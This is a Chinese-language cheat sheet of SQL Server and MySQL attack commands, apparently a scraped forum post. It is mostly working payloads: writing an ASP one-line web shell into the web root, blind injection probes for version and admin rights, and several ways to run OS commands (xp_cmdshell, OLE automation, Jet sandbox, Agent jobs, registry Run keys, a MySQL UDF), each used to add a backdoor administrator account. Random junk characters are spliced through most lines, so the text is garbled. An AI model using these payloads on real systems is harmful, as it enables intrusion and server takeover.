MSSQL语句导出一句话木马6 S. M4 b7 m7 K3 c. l5 W7 [
首先确定网站的WEB路径) N) r; {0 a1 _( |/ J6 }8 c
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马5 ?1 N9 t4 D, q8 }! W) i' q
+ L2 F4 w4 y# U2 T- s7 Y. l;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
- ]2 W% w0 c* c//将一句话木马插入表中' Q; m$ k7 U& d1 C$ d4 Z9 }
% V ~( c$ H/ B5 J' z
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
9 ^ [" [% s2 d/ X0 v//导出一个ASP文件. q! x2 n# I% ?2 K( W# x
2 @9 t7 \0 k" c
4 E* C4 O t+ f9 N4 `2 f关于MSSQL列目录
) ]/ D3 P7 e# F2 Q2 Q;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表# O+ z% l4 H* D6 G$ j$ j
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
. p. g a/ |9 h( X9 N V: J- ~5 }# f% R ~- K, F u( ~ \
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录7 r. ~9 }' `( t2 v7 [
& P0 f, A4 Y" z3 L& \: ZAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
) M# s4 Q+ p! [; I
Z/ a$ F5 m6 M, v8 sAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
# |% x' s% u+ [" \: b8 L6 Q3 W5 ]2 ~
) P. y" t8 ?# @6 x! s+ K数据库版本和权限查看
, A% J9 m2 N" band 1=(select @@VERSION) //查看详细的数据库信息.3 Y5 ]8 x( v5 |" n8 Q h
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA* c4 w8 _ a) \; s1 c p1 ]
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
7 ?9 s2 z7 ^, m, Z- M) F3 r
7 p, h4 u) X- f
0 l5 O4 e# `8 i( V1.利用xp_cmdshell执行命令7 K& A4 S) r2 ]
exec master..xp_cmdshell 'net user rfire 123456 /add'
$ r: D$ x( y( j" M; l9 lexec master..xp_cmdshell 'net localgroup administrators rfire /add'* A( e( W& J: x. _7 V3 [
; d; B0 ~8 F! i2 f: l; L) |恢复xp_cmdshell存储过程9 o5 m! X n+ ]* _
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
% Z7 _9 V$ }$ z
0 ~$ k; F4 A) ~* f; R, l b: J0 A" k5 s( c+ \$ L o3 B
2.利用SP_OAcreate和SP_OAMETHOD执行命令* F( j) U+ Q; K3 }9 G- t/ l
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下+ w2 I, d" S5 \4 |* F' x
DECLARE @shell INT //建立一个@shell实体* v; M5 J5 L6 n* n
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例- s$ g( j' W: L) r
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
! \" \" n0 h2 A
( N( g( o7 k7 J( X2 w* ]: [7 V- A0 e$ n4 m
3.利用沙盒模式0 m+ I, s, B! e8 x7 Z
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
2 E B, P( m4 e开启沙盒模式:6 x Y4 `) ]) b0 X0 e- y, t
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
- ^' ]' n! N; D% G/ W( \* Z& H6 @2 H6 _, o/ I
执行命令:2 g! W# v0 L7 s6 y R0 t
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
" _6 `8 \" t( Q- ^1 S! A" a" n0 F0 u B7 h, g/ c
" |! p x4 _6 o; s, u5 W
4.利用SQL代理执行命令6 z+ `6 I' O# P! H1 E) N
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
) r9 _$ ^; v' x) y; P: N! ?8 B8 I0 P2 o6 ?$ p3 `& [# X
执行命令:
) `, Q+ m( F) L! @' U; N- h$ kuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错9 z/ s* B" _' h# Z6 M9 }
exec sp_add_job 'x'
, W9 K* M1 p9 R' Texec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业; e# A& w- C1 {8 w6 M! N4 }9 f
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业5 K- A" |3 E5 S# Q; @
& k1 e2 X, q$ X
& K }) k& ` L' D8 G& W9 Z4 K5 X9 _1 T% i
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
- J! X2 A% ^( A; u# v/ _2 i; H* GEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'( ?( h" r! c* Z5 R' ^3 h
3 ]/ z. W9 E5 ~/ `- T% D% D$ M# U
4 b- T8 g" k) B9 R8 b1 O; }3 B
6.MYSQL的命令执行0 J7 h0 Q7 j# ^7 N" S
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
% ]5 s7 l' T7 R. e4 r5 B首先要在su.php下导出c:\windows\udf.dll
$ ]- } @" O$ o% E" ]+ Z+ d导出后执行创建自定义函数命令:& I$ {0 f$ H1 S9 ^* x) m! j
Create Function cmdshell returns string soname 'udf.dll'1 i" R, U, B& I. p {" h
执行命令
7 M) q1 A" [, C) M1 n; _6 pselect cmdshell('net user rfire 123456 /add')
2 D' a. P' X( t/ }7 F执行后删除函数 drop function cmdshell
* D$ W, X, H3 B! w e, G q- `/ t8 T |